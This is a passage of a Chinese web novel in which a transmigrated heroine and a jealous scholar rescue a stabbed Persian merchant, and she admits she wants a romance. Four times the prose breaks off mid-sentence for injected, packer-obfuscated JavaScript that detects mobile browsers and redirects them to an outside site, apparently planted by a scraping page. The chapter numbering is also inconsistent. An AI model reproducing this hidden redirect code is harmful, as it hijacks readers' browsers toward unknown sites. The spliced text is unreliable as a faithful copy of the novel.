要说见着胡人倒也没什么好稀奇,现如今世道太平,有许多胡商到中原来做生意,沈望舒却是闻到那年轻英俊的胡人身上传来阵阵玫瑰香气,浓郁的玫瑰香争先恐后地钻进沈望舒的鼻腔里,叫她一时间闻不见半点别的味道了。 之前她为了做那些胭脂,做过十分严密的市场以及产业链调查,时下中原虽然也有玫瑰种植,但规模却极小,时下女子之间流行的香膏、精油基本都是常见且传统的桂花、茉莉花等等,玫瑰的却是十分罕见,因而她十分想找机会问一问那胡人,问他正在用的玫瑰香膏是从何处买的,能不能卖给自己一点? 那一头的陆晏时见她一双眼睛怔怔地盯着隔壁桌的胡人看了半日,又看见那年轻些的胡人模样长得颇为英俊,以为沈望舒那喜欢美人的毛病又犯了,面上的表情登时有些不大乐意,丑陋不堪的嫉妒自他的心底翻涌而上,叫陆晏时自己都要觉得自己恶心。 可他又控制不住自己,更没办法叫自己打消想要拥有沈望舒的渴望,厌恶与欢喜将他整个人来来回回地撕扯着,叫陆晏时几乎快要发了疯,梅停云看着他的模样连连摇头,叹道:“你那眼睛都快在人家身上戳出个洞来,收敛一些,行吗?” 陆晏时往梅停云身上扫了一眼,正想开口与他说些什么,却听得那一桌的胡人突然大声争吵了起来,他们讲得是胡语,叽里呱啦的话让旁人并听不懂内容,只是他们争吵得似乎十分激烈,那绿眼睛的胡人争得面红耳赤,急得几乎都要摔了面前的盘子,最后他干脆将手里的筷子一扔,愤然离席而去,而剩下的两个人也叫喊了几声之后也怒而离席,剩下一桌子吃了一半的饭菜孤零零地躺在桌上,瞧着倒是有些可怜。 沈望舒没找到机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260163|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口问话,颇有些可惜,只是人已经匆匆走了,她也不方便再追上去,只好就这样作罢,回过头吃饭去了。 这醉眠居的清蒸太湖白鱼做得是一绝,只用葱姜去腥之后便将两尾白鱼入锅蒸熟,出锅之后再简单调味,入口时鱼肉鲜嫩多汁,肉质细腻得仿佛豆腐般一抿就化,叫沈望舒没忍住多吃了半碗饭,到了夜里休息时,那半碗饭就好似在胃里泡涨开了似的,顶得她胃里生疼,连坐都要坐不住了。 正好醉眠居还有个后院花园,她索性披了件大氅,带了一个侍女下了楼,想着去散散步,消一消食再睡。 醉眠居的庭院里头种着层层叠叠的梅,院中有用太湖奇石叠成的高高低低的假山,假山趁着参差的树,红梅的花瓣铺满了曲折的回廊,瞧着倒有几分似罗浮仙境。 沈望舒才走过垂花门,就瞧见陆晏时正一个人坐在院内的石椅上,似乎正在想些什么事情,沈望舒有些惊喜,道:“陆公子,你怎么在此?” 陆晏时听见她的声音,当即回过神来,近乎用跳的从石椅上站了起来,三步并作两步走到沈望舒的跟前,笑着道:“沈姑娘怎么来了?” 他的眼底带着难以掩饰的欣喜,在灯火下折射着璀璨的光彩,沈望舒几乎被他的容貌闪了眼,怔怔地回了句:“我……我下来消消食。” “我也睡不下,”陆晏时低声道,“沈姑娘不介意的话,可否与我结伴而行?” 沈望舒下意识便点了头。 夜里的风依旧冷得料峭,吹得枝头的梅花倏倏落下,好似下了一场艳红色的雪,沈望舒与陆晏时并肩在院内漫无目的地走着,有一搭没一搭地说着话,梅花的花瓣被她缀满珠玑的鞋子踩过,在她的鞋面上留下艳丽的汁水,像是专程为她铺就的红毯,让她不自觉地想要让这条路长一些、再长一些,若是能就这样与陆晏时走到暮雪白头就更好了。 她被自己这突如其来的想法吓了一跳,还未来得及叫自己清醒一些时,又听见身旁的陆晏时突然问道:“你今日为何一直盯着那个番邦人看?” 他被嫉妒折磨的辗转反侧,却又在看见沈望舒时轻易地原谅了她的朝秦暮楚,只是他心底仍旧觉得委屈,忍不住就要开口问一问她的缘由。 沈望舒不知道他的心思,又耻于方才自己的想法,开玩笑似的顾左右而言他道:“我盯着别人看也叫你发现了。” “嗯,”陆晏时点了点头,“因为我一直都在看你。” 沈望舒的心底“砰”地一声,仿佛炸开了无数朵的烟花,绚丽的花火似升腾的气泡一般不断再她的心头翻涌,叫她欢喜地几乎快要笑出声来,偏偏陆晏时不知满足,还要得寸进迟地开口问她:“沈姑娘,是我不够好看吗?” 他低垂着眼眸,乖顺地看着沈望舒的眼睛,低沉的嗓音里带着些难以察觉的祈求般说道:“你能不能……能不能也多看一看我?” 沈望舒只觉得她的心脏跳得快要从嗓子眼里跳出来,脸也红的好像有火在烧,她十分想要大声呐喊,问一问陆晏时的话究竟是什么意思,却不想她还未张开口说话,突然就有个浑身是血的人从暗处直直向她们二人冲了过来! 沈望舒:“卧槽!” 52.第五十二章 任谁也料不到静谧的院子里会突然冲出来个浑身冒血的人,那血人似乎也没想到此处会有人,欣喜若狂地大喊了一声“救命!”之后就往沈望舒的身上扑了过来,沈望舒哪里见过这样的阵仗,吓得人都懵了,愣在原地不知如何是好,还是陆晏时反应更快些,一把上手将那人拦了下来,那人倒也不挑,当即软绵绵地倒在陆晏时的身上。 那人身上还在汩汩往外冒着血,顷刻间就染红了陆晏时的衣裳,那人连脸都叫血糊住了,沈望舒借着昏暗的灯光一看,才发现这人留着头棕色卷发,肤色惨白,竟是今日下午吃饭时坐在自己旁边那桌的年轻胡人! 那胡人几乎已经没了力气,又喃喃地重复了一句“救救我”之后就昏死了过去,陆晏时下意识抬头往他跑来的方向看了一眼,并没有瞧见有人追上来,却隐约听见一阵沉重又慌乱的脚步声匆匆离去,莫约是凶手听见有人来了,害怕自己暴露便急地丢下人匆匆跑了。 沈望舒着急着喊侍女和侍卫,又叫人去把柳半夏喊起来救人,陆晏时大概看了看那胡人的伤势,就瞧见他身上莫约有两三个深深的血窟窿,也不知究竟招惹了什么人,竟然会下这样的狠手。 许是他这一身血的模样太过骇人,沈望舒下意识开口问陆晏时:“你没事吧?” 她确实有些混乱了,完全忘了受伤的人根本就不是陆晏时,偏偏陆晏时喜欢极了她担心自己的模样,又难得见她这样慌张,柔声哄道:“我没事,你别害怕。” 此时她的几个侍卫在沈望舒的呼唤下跑了过来,七手八脚地为这胡人囫囵止了个血,又扛起他往柳半夏的屋里跑去,沈望舒生怕人死了,赶忙跟在后面追了上去。 店里的小二正在收拾桌椅,突然间一群人抬着个血人进来,吓得大叫了起来,沈望舒顺势叫了他一声,让他赶紧去报官,就说要出人命了,那小二一听,哪里还顾得上收拾,赶紧把手里的椅子一撂,火急火燎地往外跑了出去。 叫这头乱哄哄地一闹,方才还安静的客栈一下子如水溅进了油锅般嘈杂了起来,不少人都从屋里探出个头来瞧热闹,柳半夏慌忙地套了身衣裳将人迎进了自己的房间里,一边问沈望舒的情况,一边马不停蹄地救人。 那胡人身上叫人捅了三刀,凶手半点不留情面,伤口都十分的深,好在这人运气好,并未伤及主要的内脏。 柳半夏到底是个见多了伤患的,有条不紊地开始给那胡人处理伤口,沈望舒动也不动地杵在屋里偷看,又怕这血淋淋的场面、又怕自己救的人死了,看也不是不看也不是,正在这纠结着呢,那边的官府就来了人,把她从屋里头喊了出去。 几个官兵围着沈望舒问东问西,指望她这个救人小姐能给出些线索来,可沈望舒也不过与这胡人萍水相逢,连他叫什么、是哪里人都不知道,又能提供什么有用的线索,不过是一问三不知罢了。 从方才起就一直一言不发的陆宴时突然说了句:“他晚饭时与同伴发生过争执,几人不欢而散了。” 也不知他究竟是什么时候跟着沈望舒出来的。 官兵们顿时好似找到什么方向,要小二带他们上这胡人的同伴屋里瞧瞧,几人一到那厢房里一看,就见一张通铺上的被褥叫人翻得凌乱,屋里的柜子大开着、连桌子上的烛台都被打翻在了地上,显然已经人去楼空,连张纸都没给人剩下,看来多半是为了钱财起了争执,杀了人之后携款潜逃了。 陆宴时看着空空荡荡、一片狼藉的厢房,又说了句:“夜里没法出城,人也走不了多远,总能抓到的。” 他说得轻松又平淡,三言两语就给人家官府的人安排好了去处,只是湖州城的官府又不归他管,别人也不一定愿意听他的调遣,还要觉得这书生趾高气扬、颐指气使的模样实在叫人生厌。 但陆宴时根本不在乎这个,他只想早些将沈望舒从这些无谓的事情里解放出来罢了。 他实在不喜欢沈望舒去关心别人的模样,更不喜欢她分明已经站在自己面前了,还要满心满眼都是别人、连看自己的空闲都没有的模样。 他知道自己嫉妒的模样丑陋不堪,也知晓自己甚至连这样愤恨的资格都没有,可他却控制不住——他也压根不想控制。 陆宴时享受沈望舒带给他的一切情绪,他享受自己看见她时的欢喜、心动、嫉妒与欲望,只要是与她有关的一切,他全部都甘之如饴地接受,心甘情愿的叫这份情感支配、占有着他的一切。 他甚至忍不住地要想,若是受伤的人是自己、如今躺在那张床上奄奄一息的人是自己,那她也会如现在这般紧张吗?会像现在这样眼里只看着自己、只想着自己吗? 若是会,那他受些伤也未尝不可。 而此时梅停云终于从睡梦之中醒来,人还迷糊着,身子就先一步动了起来,睡眼迷蒙地挂上个笑脸,点头哈腰地去同那些官兵说些漂亮的好听话,来给他这个不通人情、讲话不留情面的好友来收拾摊子。 沈望舒看着梅停云送走了那些官兵,又确认了那胡人的安危,这才有空想起她的名侦探陆宴时来,发现这青年人还穿着一身血衣时,她下意识地皱了眉,有些责怪似的道:“你怎么还穿着这身衣裳?都不嫌脏吗?你快去洗个澡,把这衣裳丢了去!” 一听见沈望舒关心自己,陆宴时的心情顿时又好了起来,只是他一听见沈望舒要他丢衣裳,有些踌躇地道:“……可这衣裳是你买的。” 他舍不得丢她买的衣裳,可更不想叫沈望舒觉得自己不愿意听她的话,说起话来的模样便有些犹豫。 沈望舒以为他是觉得衣裳贵才舍不得丢,当即就道:“不过一件衣服,有什么舍不得?我再给你买两件新的便是,你快点换了去。” 她像极了一个操心儿子的妈,板着脸絮絮叨叨地骂他:“你是不是个傻的?就这么一身血在这站了快一个时辰?” “自己就不知道先去洗一洗?都不知道难受的吗?” 陆宴时安安静静地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282269|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听着她说话,看着她饱满水润的嘴唇一张一合、吐出的话语全都好似蜜糖一般,几乎快要把陆宴时溺死了。 梅停云送完人回来,正好听见沈望舒这话,干笑了一声说:“沈姑娘别心疼他了,这小子精得很。” 陆宴时看都不看梅停云,低下头去对沈望舒道:“沈姑娘说得都对。” “我确实是个傻的。” 他说话时,有温热的气体自口中呼出,尽数都洒在沈望舒的耳尖,叫她的耳朵好似泡进了滚水里似的,霎时间红了起来。 “对对对,知道我说得对还杵在这里干什么?!”沈望舒恼羞成怒,大声道,“还不赶紧去收拾!这样子难道好看吗?!” 陆宴时终于心满意足,依依不舍地回屋里洗漱去了,梅停云与他同睡一屋,又没有别的事情要做,自然也跟了回去,边走还要边感叹:“唉,烈女怕缠郎!” 陆宴时转过头来问他:“真的会怕?” 梅停云想起方才沈望舒的模样,连连点头:“怕,怕死了!” 留在原地的沈望舒看他们二人终于回了屋,这才拍了拍脸叫自己冷静下来,去处理剩下来的事情。 那两个行凶的胡人既然没办法出城,那她就要提防他们再拐回来杀人灭口才是,她安排了侍卫在她们几人的房间门口站岗,又叫了柳半夏到自己屋里同睡,柳半夏对她的安排向来不会推辞,洗干净了自己的一身血就钻进了沈望舒的房间。 沈望舒睡的自然是客栈里头最好的房间,一间厢房被分成里外两间,外头那间有一卧榻,是给守夜的侍女睡的,而里头那间除了常见的家具之外,还放着一张雕花拔步床,睡两个人绰绰有余。 柳半夏才钻进被窝,就去扯沈望舒的手,用温暖干燥的手将她的手包裹住,柔声问她:“可吓坏了吧?” 沈望舒生平第一次见这样血腥的场景,确实被吓到了,顺着柳半夏的话便点了点头,又去问她:“你怕吗?” “我看习惯了,不怕的,”柳半夏的手指在沈望舒的手背上轻轻摩挲,她的手上长满了厚厚的茧子,刮在沈望舒凝脂一样的皮肤上时,还带着叫人安心的痒意;柳半夏似乎敏锐地觉察到了沈望舒的不安,低声说,“你也不要怕,我从阎王手里抢过许多人,他不会死的。” 沈望舒紧绷了一夜的神经终于松懈了下来,她甚至都要觉得躺在自己身旁的这个姑娘的背后长出了洁白翅膀,连脑袋上都亮起了黄色的光圈,宛若下凡来拯救人类的天使。 “天啊,”沈望舒在心里感慨,“沈妄殊到底怎么好意思欺负她的啊。” 沈妄殊:“?” 沈妄殊气得恨不得钻出沈望舒的身子,狠狠地踢她一脚:“我都一集没出现了!这你也能骂到我?!” 沈望舒:“嘻嘻。” 她折腾了半宿,终于迷迷糊糊地睡去,待到第二天醒来时,柳半夏早就已经走了,沈望舒的侍女才上来向她禀告:“小姐,官府的人又来了。” 53.第五十四章 沈望舒懒得与那些不怎么聪明又不懂礼貌的官兵再打交道,慢悠悠地起床洗漱,待到她收拾好了去柳半夏屋里的时候,官府的人正好才刚刚离开。 据说是他们从昨夜一直折腾到了今早都没抓到人,所以今日一早就又来找受害者问话了,全然不提自己办事不力、自作聪明的过错了。 柳半夏的医术果真是了得,仅仅过了过了一夜,那挨了三刀的胡人就已经兜兜转转地醒了过来,虽然因为失血过多而面色惨白,但方才官府的人来问他话时,他已经能回上几句话,思路也算得清楚,这一条命总算是保了下来。 他同别人说,自己的名字叫卑路斯,是从波斯来做是香料生意的商人,这一趟南下本是来送货的,与他同行的两人一个叫索罗斯、一个叫摩拉维,都是他的叔父介绍过来的亲信,他对这二人一直都很信任。 昨日争吵是因为那二人跟了他一路,发现他赚的钱比想象中要多许多,开始嫌他给的钱少,要求他再额外支付一笔费用,而卑路斯觉得自己已经按合同给了钱,没有叫他们坐地起价的道理,拒绝了他们的无理要求,谁知那二人竟因此对他起了杀心,若非沈望舒与陆晏时及时到来,他只怕当场就要命丧黄泉了。 卑路斯絮絮叨叨地送走官府的人,正觉得有些累,刚想躺下去休息,却见到沈望舒这个救命恩人走进来,一双眼睛登时就亮了。 沈望舒披着件白色的狐裘,头发只松松垮垮地挽了个髻子,戴一枝金步摇,面上未施粉黛,却是韵生骨里、秀出天然,美得简直惊心动魄,卑路斯看着她的模样大惊道:“阿纳希塔!” 众人皆不明白他在说些什么,卑路斯似乎也自觉失态,有几分尴尬地解释道:“阿纳西塔是我们波斯传说中的代表着幸运和美丽的女神,我方才看到这位姑娘,还以为见到了阿纳希塔来到了人间。” 他官话说得流利,口音也不甚严重,看来确实已经在中原呆了许多年了,说罢他又接了一句:“但你救了我!你就是我的阿纳西塔!” “她不是你的女神,”陆晏时眉头微蹙,语气也难得的不甚友善,“你莫要胡言乱语。” 沈望舒也被卑路斯的两句话油腻到感觉脚底都在打滑,但她也没回他的话,反而先去问沈妄姝:“你认得这个人吗?” 沈妄姝想了想,又想了想,才回话道:“好像是听说过有这么一个西域商人,但他跟我们这些人都没什么关系,所以没有太多的印象了。” 但沈望舒对此倒是挺满意的:在她的交集中出现了原剧情以外的人物,那也就说明她现在确实已经离原剧情越来越远,自己做出的所有努力都有所回报,死亡的结局肉眼可见的已经被她规避,让她很是高兴。 她听过卑路斯的遭遇,倒也没有多同情他,反而开口去问:“那你现在手里还有玫瑰的精油与香膏可以卖我吗?” 陆晏时险些没忍住笑。 卑路斯似乎也没想到这位幸运的美神如此不近人情,哭丧着脸道:“哇,你怎么能如此冷漠无情!” “我同情你也没用啊,”沈望舒的表情理所当然,反问他,“你现在身无分文,想办法换些盘缠和药费才是重中之重,我找你买东西不正是在帮你吗?” 卑路斯勉强从床上支起个身子,有气无力地回话:“你说的对,但我所有的东西都已经被他们抢走了,如今身上确实是什么东西都没有了。” 沈望舒摆了摆手道:“那便没有办法了,我们晚些时候还要继续赶路,我留些银钱给你继续治伤,别的我也帮不了你了。” 她说罢就准备离开,卑路斯见状大喊:“阿纳希塔!阿纳希塔!别走!” “你等一等!”他似乎真的怕沈望舒把他丢下,说话的声音都急切了起来:“你们要去哪里?” 沈望舒想也不想便回:“我们要上京城去。” 卑路斯一听要去京城,立刻又来了精神,哀求似的同沈望舒说:“你把我带上吧!” “我有亲人在京城,”他大气都不敢喘,一口气把话都说了出来,“我可以去京城投奔他……” 沈望舒看了看坐在边上皱着眉头的主治医生柳半夏,又想到他身上那三个血窟窿,赶忙摇头道:“不行吧,你身上伤那么重呢……” “你把身子养好了再去京城也不迟。” “可你们有好多侍卫!”卑路斯却连连摇头:“那两个人还没被抓到,我自己一个人留在这里,迟早会被他们找上门杀了!” 他皱起眉毛,努力挤出两滴眼泪来好叫自己看起来楚楚可怜,就听得他抽抽噎噎地道:“阿纳希塔,你都不觉得我可怜吗?看在我这样可怜的份上,你就发一发你的善心,就一救我吧!” “还有,你不是想要玫瑰精油吗?”卑路斯忙不迭地补充,“我在京城还留了一批货,你带我过去,我可以便宜卖给你。” 卑路斯的模样原本长得就英俊,身上带着中原人罕见的野性,如今又因为失血而脸色惨白、眼泪汪汪的模样,让他看上去像是一匹臣服于人的白狼,陆晏时才看一眼便心道不好,果然一侧眼就瞧见沈望舒眼睛一亮,转了个身又坐回了卑路斯的床前。 “你有多少货能卖我?又能便宜多少钱给我?” “若是我长期大量从你手里买这些香料,你又能给我最低多少的价格?” 沈望舒一边说,一边笑盈盈地让侍女去给自己拿纸笔来,摆出一副当场就要写合同的架势来,笑眯眯的冲卑路斯道:“我对你可是有救命之恩呐!我劝你最好想清楚了再开口说话。” 到了正午他们这一行人出发时,卑路斯就已经稳稳当当躺在担架上,正被沈望舒的侍卫往车里抬。 虽然带着这么个伤患,她就不能再去昨日心心念念的太湖了,但能够以她十分满意的价格签下来这份合同,沈望舒还是十分满意的,因而她还十分贴心的给卑路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296291|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯提高了些待遇,给他在自己的马车上铺了个软垫、放了张羊毛毯,又找了个软枕给他靠着,比客栈里的通铺躺着舒服多了。 陆晏时面无表情地看着侍卫把那波斯人往沈望舒的车上抬,十分小声地向沈望舒抗议自己的不满:“不抬进你车里不行吗?” 沈望舒觉察出他似乎在闹脾气,却也摸不准他为什么不开心,但又觉得闹脾气的陆晏时有些可爱,还要好脾气地和他解释:“不行呀,万一他在路上出了什么事情,方便柳姑娘给他看伤。” “随便拉个板车带着他就行了,”陆晏时不置可否:“西域人皮糙肉厚,不会有事的。” 沈望舒已经习惯了原作里风光霁月、刚正不阿的陆晏时偶然爆出来的几句OOC的话,甚至还能与他说笑道:“不行呀,传出去别人要说我虐待伤患了。” 陆晏时自然不愿意她声誉受损,也不敢再提出什么异议,只是他又转过头去细细观摩了一遍卑路斯的脸——除了皮肤白一些、眼睛的颜色特别一些之外,并没有哪一处能够比得过自己,论起容貌来,还是他陆晏时更胜一筹。 可他又担心,万一沈望舒就喜欢卑路斯这样的呢?万一她就喜欢这种讲话直白又热烈的西域人,那自己又该怎么办?他越想越觉得心慌,越想越觉得没底,因而在看见沈望舒上车的时候,陆晏时脑子一热,下意识地也跟进了她的马车里。 沈望舒那一辆马车再如何宽敞,一下进来四个人也免不得显得有些挤了,更何况还有一个卑路斯占去了大半个车厢的位置,沈望舒有些意外陆晏时会主动跟进来,正要开口问他一句,却见陆晏时二话不说地走到她身旁,几乎贴着她的身子在她的旁边坐下,近乎滚烫的体温霎时间穿过层层叠叠的衣裳,熨在沈望舒的皮肤之上。 陆晏时侧过身去看她,他皱着眉头,学着方才卑路斯的样子、摆出个可怜的模样,低声道:“我想与你坐在一起,不成吗?” 沈望舒心里警铃大作。 她在心里高声大喊:“沈妄姝!沈妄姝!” 沈妄姝两耳不闻窗外事的在补甄嬛传,刚看到滴血认亲的情节,正看得紧张,被沈望舒陡然一叫给吓了一跳,忙不迭地问:“啊?怎么了?” “我觉得我任务已经完成的差不多了,你应该不会死了,”沈望舒急道,“你要不现在就把我送回去吧,别看你那甄嬛传了!” “谁跟你说结束了!不准走!”沈妄姝哪儿能想到她突然开口要走,狐疑道:“好好的你干嘛要走?” 沈望舒想也不想便喊道:“我怕我再呆下去真的忍不住了!” 她说话好像在打哑谜,沈妄姝半个字也听不懂,开口问她:“忍不住什么?” 沈望舒长舒了一口气,终于决定把这一个月来的心思向她的老板、陆晏时唯一的毒唯坦白。 “我怕我忍不住,想和陆晏时谈恋爱!” 沈妄姝:“?” 54.第五十五章 向北去的马车平缓地驶在官道上,咕噜噜的车轮声不断地传进车厢里,倒显得没人说话的车厢里头十分安静,宛若寂静又沉默的夜。 沈望舒坦白完想要和陆晏时谈恋爱的心意之后,当即像个在工作上犯了重大失误的牛马打工人一样,缩着脖子坐在原位,等待着她的老板沈妄姝发疯骂人。 却不想沈妄姝沉默了大半晌之后,开口和她说得第一句话竟是:“什么叫做谈恋爱?” “哦对,忘了你们是古人,不兴说谈恋爱这个词儿,”沈望舒有些尴尬的笑了笑,解释道,“谈恋爱就是……怎么说呢,就是就是我喜欢上他了,想跟他进行一些不以成亲为目的的亲密接触。” 她生怕沈妄姝不明白,赶忙又补充了一句:“包括但不限于牵牵手、搂搂抱抱,甚至亲个嘴什么的。” “我知道自己不应该喜欢他,但我真的努力过了,实在控制不了自己的感情,”说罢她深吸一口气,道:“你要骂就骂我吧。” 可沈妄姝却沉默了。 沈望舒想象中的尖叫、发疯和骂人声都没有到来,沈妄姝在听完她的解释之后,反而又安静了下去,过了莫约快要一刻钟,她才幽幽地开口道:“哦,那你和他谈恋爱吧。” “?!”沈望舒震惊极了,她甚至都要怀疑沈妄姝是不是也被人魂穿了,“你是谁?!你怎么不骂人?!” 沈妄姝早就发现陆晏时喜欢沈望舒了,也发现了沈望舒其实早已经芳心暗许,俩人之间就只隔着一层薄薄的窗户纸,任谁先去挑明一下,这段感情也就水到渠成了。 这二人一个是她花过无数钱和时间打投的爱豆,一个是替她死过一次之后还为了她家人人任劳任怨的年度优秀员工,再加上沈望舒顶着一张和自己一模一样的脸,她不自觉间就已经将沈望舒当成自己的孪生姐妹一般看待,沈妄姝这人生来有个护短的毛病,到了此时她心里头就是再不愿意接受此事,又能有什么办法? 但她又不肯轻易告诉沈望舒陆晏时的心意,万分别扭地哼了一声道:“他以后做了皇帝,后宫里的女人多了去了,跟谁谈恋爱不是谈?怎么就不能跟你谈恋爱了?” “本小姐心胸宽广的很!”沈妄姝大声哼唧,“难道还能容不下你吗?!” 沈望舒却仍旧觉得不可置信:“你真同意?” 她的表情有些呆滞,叫沈妄姝看得十分想笑,她干咳了一声,理所当然似的回道:“陆晏时那么好看,人又那么好,将来还会坐拥天下成为一代明君,任谁喜欢他都不奇怪。” 沈望舒听罢,又有些担忧地道:“……但陆晏时不是喜欢你哥吗?我这样是不是不太合适啊?” 沈妄姝大大地翻了个白眼:“他不喜欢男人!我还能不知道吗!” “谁知道你整日看得都是些什么东西!”沈妄姝气呼呼的骂她,“真是蠢笨如猪!什么话都敢往外说!” 沈望舒难得被她骂得无话可说,有些尴尬地咂巴了一下嘴,却听得沈妄姝又问她:“但是你为什么不想跟他成亲啊?嫁给他不好吗?” 她早就忘了自己最开始要求沈望舒帮自己泡陆晏时的事情,也不再执着地想要嫁给陆晏时了,只是沈妄姝听见沈望舒说不想和陆晏时成亲,依旧会觉得奇怪:“哪有喜欢别人,却不想跟人成亲的?” 沈望舒摩挲着手里的汤婆子,看着陆晏时默默地往炉子里添金丝碳的模样,并不直接回答沈妄姝的话,反而问她:“你上辈子都嫁给他做妃了,整个后宫里除了柳姑娘就是你最张扬,但你过得开心吗?” 她这话问罢,倒叫方才还气焰十足的沈妄姝沉默了下来。 沈妄姝似乎在回顾自己做为姝妃娘娘时那短暂又忙碌的一生,想着想着,她突然叹了一口气,道:“好像也没有很开心。” 她最近看甄嬛传看得感触颇深,因而越想自己从前在后宫的日子就越觉得无趣:“每日就只想着如何与其他的嫔妃争风吃醋,想着要比别人漂亮、比别人风光,想办法让陆晏时在百忙之中抽空来多看一看我,怎么从他的心里去多讨要一些感情,喜欢他这件事情反而变得次要了起来。” 沈妄姝越说越觉得没劲,越说越觉得不高兴:“我还得小心翼翼地整天哄着他,半点不如在沈府里做大小姐来得愉快。” 所以她近来再也没说过要嫁给陆晏时的话,也逐渐接受了这二人两情相悦的事实,可沈妄姝再如何想清楚、想明白了,也到底是一个封建的古人,理解不了沈望舒只想谈恋爱不结婚的想法,还要问:“可万一陆晏时封你做后呢?” 毕竟陆晏时这人不看重门第,只要他喜欢,他都能封一个草根出身的柳半夏做皇后,如今他这么喜欢沈望舒,又不再与柳半夏有什么瓜葛,封沈望舒做皇后几乎是板上钉钉的事实了。 沈望舒却摇了摇头:“你忘了我之前说过的话了吗?” 沈妄姝还要道:“可他是至高无上的皇帝。” 言下之意,就是这天下的每一个人都应该为了陆晏时臣服,能坐上皇后的宝座就已经是至高的荣耀,沈望舒不应该贪心不足,肖像太多不该属于她的东西。 “哪怕我只是一只微不足道的蝼蚁,也有资格追求平等的爱情关系,反正他愿意就谈,不愿意就算了,”沈望舒何等机灵,又岂能听不明白沈妄姝话里的意思?只是她活在现代,心里总归是不屑封建皇权那一套的,“我喜欢他,想跟他谈恋爱,但是不代表我想跟他结婚啊,这是两码事。” “再说我总有一天要回自己的时代去,跟他结婚也对他太不公平了,这不是骗人吗?”沈望舒笑了笑,“在有限的时间里享受这些快乐,就足够了。” 沈妄姝还想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306546|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与她争辩,想问她清誉受损怎么办,万一被拉去浸猪笼又怎么办,只是她又想起沈望舒到底和她不是一个时代的人,也不会在意这些在自己看来非常严重的事情,所以她的话都已经到了嘴边,最终还是又生生地咽了下去。 而此时陆晏时正倒好一杯茶给沈望舒递了过来,沈望舒还在与沈妄姝讲话,余光瞥见他递过来的茶,下意识伸手去接,却不想那茶杯刚拿到手里,马车突然晃了一下,滚烫的茶水随着车身的晃动从杯中翻涌而出,眼见着就要泼到沈望舒的腿上,却见陆晏时飞似的伸出手来挡在沈望舒的腿上,洒出来的半杯茶水便尽数被他的手掌接住了。 陆晏时的手迅速被烫的通红,沈望舒赶忙放下杯子去翻帕子叫他擦手,陆晏时却半点不在意自己的手,反而柔声问沈望舒:“可有被烫到?” 他这副模样莫名的有些疯劲,好似他的眼里除了沈望舒之外再也看不见别人,只要沈望舒能安然无恙,他陆晏时再怎么受伤都无所谓似的。 沈望舒看着他的模样,忍不住心里怦怦直跳,与沈妄姝喊道:“不行了,我一定要跟他谈一次,才能算得上是不虚此行。” 只是她嘴上信誓旦旦地说着要谈恋爱,却是个行动上的矮子,思来想去竟然完全不知道该如何把这个男朋友搞到手,这时沈望舒才后知后觉地发现,自己根本没有谈过恋爱! 沈望舒又害怕自己万一告白失败,那他们这一路上岂不是要尴尬死?因而她十分惆怅,一连拖了七八日,都没有半点建树与进展。 这七八日里,卑路斯的伤口开始慢慢转好,正在长新的皮肉,只是愈合的过程实在不好受,每一处伤口都痒得出奇,他挠又挠不得,整日在车上哼哼唧唧地嚎叫。 沈望舒正烦躁着,听见卑路斯的声音更是心烦:“你能不能别吵了。” 卑路斯摆出副苦瓜脸,哀嚎道:“你怎么这样欺负病人?” “对啊,我就是又坏又自私的人,你能拿我怎么样?”沈望舒不上他的当,“你再乱闹腾影响我休息,我现在就把你丢到外头去,你自己想办法爬去京城吧。” 卑路斯被她两句话说得委屈巴巴,又装模作样地要哭:“我从未见过像你这样心肠冷硬的女子,怎么说我也是难得一见、举世无双的美男子,你怎么能对我一点怜惜都没有呢!” 沈望舒一指坐在自己身边的陆晏时,道:“因为他比你好看啊。” 陆晏时原本正低着头看书,一听见沈望舒这话,整张脸登时似被开水烫了一般红了起来,偏偏陆晏时还要端出副正经的模样,装作自己完全没听见、也半点不在意的模样,仍旧端坐在她的身旁看书,沈望舒看着他这副样子,觉得他正经又傲娇,简直可爱极了。 